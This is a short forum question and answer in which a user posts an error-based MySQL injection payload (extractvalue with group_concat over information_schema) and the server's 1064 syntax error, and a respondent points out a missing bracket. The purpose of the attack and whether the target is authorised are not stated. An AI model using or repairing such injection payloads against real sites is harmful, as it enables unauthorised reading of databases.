R
R
rinarigel2019-04-30 13:24:33
SQL
rinarigel, 2019-04-30 13:24:33

How to fix syntax error 1064 when writing sql injection?

The injection itself:
'and(extractvalue(1,concat(0x3b,(select(group_concat(table_name)from(information_schema.tables))))))and'
This is what the browser says:
Notice: Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from(information_schema.schemata))))))and'',now())' at line 1
Error No: 1064

Answer the question

In order to leave comments, you need to log in

1 answer(s)
R
Rsa97, 2019-04-30
@Rsa97

So you forgot to close the bracket before FROM.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question